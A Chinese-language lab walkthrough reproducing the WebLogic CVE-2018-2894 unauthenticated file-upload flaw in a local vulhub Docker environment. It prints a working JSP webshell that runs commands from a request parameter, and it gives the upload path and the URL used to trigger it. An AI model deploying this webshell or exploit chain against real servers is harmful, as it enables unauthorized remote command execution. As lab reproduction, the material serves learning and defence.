文章目录
- 搭建环境
- 启动环境
- 漏洞复现
前提条件:
1.安装docker
docker pull medicean/vulapps:j_joomla_2
2.安装docker-compose
docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
3.下载vulhub
搭建环境
进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:
cd vulhub/weblogic/CVE-2018-2894
查看docker-compose的配置文件:
cat docker-compose.yml
如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):
然后使用下面命令,搭建docker-compose并启动:
sudo docker-compose up -d && sudo docker-compose up -d
如图,安装中:
启动环境
等待安装完成后,环境就搭建成功了,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:7001进入weblogic环境:
访问10.9.75.45:7001/console,会自动跳转到登录界面,如图:
使用下面命令获取账号密码:
docker-compose logs | grep password
如图所示:
管理员用户名为weblogic,密码为IMt7uSYk
输入账号密码登录成功:
漏洞复现
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do
点击 base_domain,点击advanced:
在advanced中开启下面的选项并保存,启用web测试页:
然后访问10.9.75.45:7001/ws_utc/config.do网页,这是管理端未授权的两个页面之一,存在任意上传getshell漏洞,可直接获取权限,在该网页将默认目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,然后提交。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
如图:
在安全中的add上传准备好的一句话木马文件,并用bp抓包:
该木马使用方式,传递两个参数
pwd
和i
pwd为设置的名称(123)。
i 为执行的命令。
时间戳可通过抓包获得。
一句话木马:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
抓包后Ctrl+r发送到重定向,点击发送,找到时间戳:
访问10.9.75.45:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即
http://10.9.75.45:7001/ws_utc/css/config/keystore/1693418013892_1.jsp?pwd=123&i=ls
webshell执行成功: